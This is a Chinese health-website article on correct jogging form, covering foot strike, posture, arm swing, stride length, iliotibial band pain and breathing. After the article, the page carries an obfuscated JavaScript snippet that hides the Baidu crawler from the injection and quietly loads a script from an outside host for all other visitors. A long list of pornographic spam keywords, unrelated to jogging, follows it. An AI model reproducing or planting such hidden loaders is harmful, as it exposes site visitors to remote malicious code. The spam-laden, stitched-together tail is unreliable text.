當(dāng)前位置:首頁 > 健康 > 運動健身 > 正文

正確的慢跑方式有哪些

2017-04-16 10:17:48  來源:360常識網(wǎng)   熱度:
導(dǎo)語:慢跑源自于馬拉松,馬拉松的跑步姿勢是非常重要的,一般沒有經(jīng)過訓(xùn)練的人們是做不到那一點的,一般我們會發(fā)現(xiàn)為什么馬拉松的運動員們,為什

慢跑源自于馬拉松,馬拉松的跑步姿勢是非常重要的,一般沒有經(jīng)過訓(xùn)練的人們是做不到那一點的,一般我們會發(fā)現(xiàn)為什么馬拉松的運動員們,為什么一直在跑步身體卻看起來非常的輕松,而且沒有累的感覺呢,那么就是因為他們做到了正確的慢跑姿勢,什么才是最正確的,如何進行慢跑才可以對身體有好處呢,來了解一下。

馬拉松跑的跑步姿勢非常重要,因為你要一路堅持跑超過42公里,而不是4.2公里。這里總結(jié)了美國俄勒岡大學(xué)跑步教練Bill Bowerman在教學(xué)中總結(jié)的跑步姿勢。實際上,在馬拉松跑中,你應(yīng)該站直了身子跑,不要往前傾或往后倒,也不要扭向一側(cè),下面一起聽聽Bill Bowerman是怎么說的。

正確的慢跑跑步姿勢

方法

腳的著地方式

有些人認為跑步時用前掌著地,也有人認為應(yīng)該足跟著地。我們建議先以用中間部分接觸地面。研究表明一名好的長距離跑者通常是以足中著地的。慢跑者以足中和腳跟著地,快跑者的著地點比慢跑者靠前。我們認為只有短跑選手和中短跑選手適合以前腳掌著地。可能有些人會例外,但是以足中著地對初中級跑步者是個好的方式。這樣可以減少震動,緩解對小腿肌肉和足腱的壓力,同時為下一個邁步做好準備。

臀部和頭部的姿勢

這點比較難以想象:當(dāng)你的腳著地時,你的臀部的位置在哪里?有些人建議,著地時你的腳應(yīng)該在你的重心線的末端,也就是頭臀腳三點成一線。頭部保持正和直,目光看向正前方。轉(zhuǎn)頭的時候需要特別小心,通常是從脖子以上部分轉(zhuǎn)動,避免身體的扭轉(zhuǎn),避免在行進時產(chǎn)生不穩(wěn)定。

手臂的姿勢

這個姿勢是在你沒有使用慢跑嬰兒推車,而是可以擺動雙臂。首先,最重要的是不要僵直手臂,緊握拳頭,完全彎曲肘部。保持放松。將手臂自然彎曲在腰線以上,不要太高或太低。兩個手臂前后交替擺動,使腿部相應(yīng)反方向運動。短跑選手在跑道上奔跑時手臂是完全前后擺動的,很多長距離跑步者略帶弧度地擺動,但優(yōu)秀的跑者不會把力氣用在擺動胳膊上。換句話說,不要激烈地擺動手臂。

膝蓋

長距離跑步時膝蓋不要抬得太高。只有短跑選手或我們在上坡時才需要太高膝蓋。

步長

很多長距離跑步者最大的問題就是步長過大。千萬不要這樣做,它將導(dǎo)致很多傷害,包括足腱,**髂脛束疼痛和髂腰肌疼痛。

(**這種疼痛并不是來自膝蓋,而是來自韌帶,是從臀部外側(cè)往下一直到脛骨的一條韌帶。這條韌帶靠近膝蓋的地方變窄,并在運膝蓋彎曲時會與摩擦脛骨靠近膝蓋的最上端。長期的摩擦?xí)?dǎo)致發(fā)炎。40%的跑步者會在開始跑步5年或更多時間后遭遇髂脛束綜合癥)。

呼吸

當(dāng)有些人建議你如何計算呼和吸的時間時,我們告訴你只要保持深度的和規(guī)則的呼吸。很多時候呼吸會自己調(diào)節(jié),跑得快了,呼吸也就快了。確實如此,大多數(shù)跑步者用口呼吸或口鼻同時呼吸,僅用鼻子呼吸是不可能吸入足夠多的氧氣的。

生活當(dāng)中男生與女生的跑步方式是不同的,男生跑步是為了增強自己的身體健康,長肌肉,而女性跑步是為了減肥正確的慢跑方式,以上為大家做的相關(guān)介紹,我們根據(jù)以上的方法來減跑步,男性和女性都會有著很大的收獲。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
日韩精品无码免费视频| 国产精品久久亚洲不卡动漫| 成人区精品人妻一区二区不卡| 老司机99精品99| 97久久精品人妻人人搡人人玩| 国产在视频线精品视频| 久久国产精品久久久| 国产成人精品午夜视频'| 精品国偷自产在线| 一本大道无码日韩精品影视| 久久免费观看国产精品| 精品熟女碰碰人人a久久| 精品无码三级在线观看视频| 91国内揄拍国内精品情侣对白 | 精品国产一区二区三区免费看 | 久久精品国产亚洲麻豆| 国产精品一区二区久久乐下载| 国产成人亚洲精品| 国产精品无码久久久久| 久久精品aⅴ无码中文字字幕不卡 久久精品aⅴ无码中文字字幕重口 | 精品一区二区三区在线观看| 国产精品美女久久久浪潮av| 日本精品中文字幕| 精品国产成人国产在线观看| 国产揄拍国内精品对白| 国产精品视频白浆合集| 国产精品兄妹在线观看麻豆| 亚洲精品蜜夜内射| 国产麻豆精品久久一二三| 国产99精品一区二区三区免费 | 青草青草久热精品观看| 69久久夜色精品国产69| 91国语精品自产拍在线观看一| 一本久久伊人热热精品中文| 日韩精品一区二区三区老鸦窝| 亚洲精品在线观看视频| 亚洲精品成人区在线观看| 99久久久精品免费观看国产| 91亚洲精品视频| 精品熟女少妇av免费久久| 人人妻人人澡人人爽人人精品电影|